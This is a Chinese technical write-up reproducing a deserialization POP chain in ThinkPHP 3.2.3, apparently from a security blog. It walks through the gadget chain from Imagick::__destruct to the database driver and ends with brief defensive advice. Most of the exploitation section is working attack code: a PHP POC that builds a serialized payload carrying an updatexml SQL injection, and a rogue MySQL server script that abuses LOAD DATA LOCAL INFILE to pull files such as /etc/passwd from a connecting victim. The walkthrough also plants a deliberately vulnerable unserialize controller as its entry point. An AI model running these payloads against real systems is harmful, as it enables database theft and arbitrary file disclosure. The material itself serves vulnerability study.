ThinkPHP3.2.*POP链复现(SQL注入&读取文件)
字数 1069 2025-08-29 08:31:47
ThinkPHP 3.2.* POP链复现(SQL注入&文件读取)技术分析
环境搭建
所需环境
- PHP版本: 5.4.45
- 操作系统: Windows
- 中间件: Apache
- ThinkPHP版本: 3.2.3
- 数据库: MySQL
- 工具: PHPstudy 8.1.1.3, PHPstorm
测试环境配置
在Home模块下的index控制器中创建反序列化入口点:
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($n) {
unserialize(base64_decode($n));
echo 1;
}
}
POP链分析
反序列化入口点
- 查找
__destruct魔术方法作为入口 - 定位到
/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
调用链路径
Imagick::__destruct()→Memcache::destroy()→Model::delete()→Driver::delete()→Driver::execute()
关键节点分析
1. Imagick类中的__destruct方法
// ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
public function __destruct() {
empty($this->img) || $this->img->destroy();
}
- 通过控制
$this->img可调用任意类的destroy方法
2. Memcache类中的destroy方法
// ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
public function destroy($sessID = '') {
return $this->handle->delete($this->sessionName);
}
- 通过控制
$this->handle可调用任意类的delete方法 $this->sessionName可控,用于传递参数
3. Model类中的delete方法
// ThinkPHP/Library/Think/Model.class.php
public function delete($options=array()) {
$pk = $this->getPk(); // $pk可控
// ...省略部分代码...
$result = $this->db->delete($options);
return $result;
}
- 通过
$this->db可调用数据库驱动类的delete方法 $options参数可通过$this->data[$pk]控制
4. Driver类中的delete方法
// ThinkPHP/Library/Think/Db/Driver.class.php
public function delete($options=array()) {
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM '.$table;
// ...构建SQL语句...
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
$options['table']可控,导致SQL注入- 最终调用
execute方法执行SQL
5. execute方法关键点
public function execute($str,$fetchSql=false) {
$this->initConnect(true); // 初始化数据库连接
// ...执行SQL语句...
$this->PDOStatement = $this->_linkID->prepare($str);
$result = $this->PDOStatement->execute();
return $result;
}
- 可通过控制
$this->config连接恶意MySQL服务器 - 利用MySQL的
LOAD DATA LOCAL INFILE特性读取文件
漏洞利用
1. SQL注入利用POC
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true
);
protected $config = array(
"debug" => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,concat(0x7e,substr((select group_concat(flag) from test.flag),1,32)),0)#",
"where" => "1=1"
);
}
}
}
namespace{
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
2. 文件读取利用
恶意MySQL服务器脚本
<?php
function unhex($str) {
return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str));
}
$filename = "/etc/passwd";
$srv = stream_socket_server("tcp://0.0.0.0:3306");
while(true) {
echo "Enter filename to get [$filename] > ";
$newFilename = rtrim(fgets(STDIN), "\r\n");
if(!empty($newFilename)) {
$filename = $newFilename;
}
echo "[.] Waiting for connection on 0.0.0.0:3306\n";
$s = stream_socket_accept($srv, -1, $peer);
echo "[+] Connection from $peer - greet... ";
fwrite($s, unhex('45 00 00 00 0a 35 2e 31 2e 36 33 2d 30 75 62 75 6e 74 75 30 2e 31 30 2e 30 34 2e 31 00 26 00 00 00 7a 42 7a 60 51 56 3b 64 00 ff f7 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 4c 2f 44 47 77 43 2a 43 56 63 72 00'));
fread($s, 8192);
echo "auth ok... ";
fwrite($s, unhex('07 00 00 02 00 00 00 02 00 00 00'));
fread($s, 8192);
echo "some shit ok... ";
fwrite($s, unhex('07 00 00 01 00 00 00 00 00 00 00'));
fread($s, 8192);
echo "want file... ";
fwrite($s, chr(strlen($filename)+1)."\x00\x00\x01\xFB".$filename);
stream_socket_shutdown($s, STREAM_SHUT_WR);
echo "\n[+] $filename from $peer: \n";
$len = fread($s, 4);
if(!empty($len)) {
list(, $len) = unpack("V", $len);
$len &= 0xffffff;
while($len > 0) {
$chunk = fread($s, $len);
$len -= strlen($chunk);
echo $chunk;
}
}
echo "\n\n";
fclose($s);
}
文件读取POC配置
修改Mysql类的config配置,指向恶意MySQL服务器:
protected $config = array(
"debug" => 1,
"database" => "thinkphp",
"hostname" => "恶意服务器IP",
"hostport" => "3306",
"charset" => "utf8",
"username" => "任意用户名",
"password" => "任意密码"
);
防御措施
- 禁用危险函数:在生产环境中禁用
unserialize函数 - 输入过滤:对所有用户输入进行严格过滤
- 最小权限原则:数据库账户使用最小必要权限
- 更新框架:升级到ThinkPHP最新版本
- 配置安全:关闭
PDO::MYSQL_ATTR_LOCAL_INFILE选项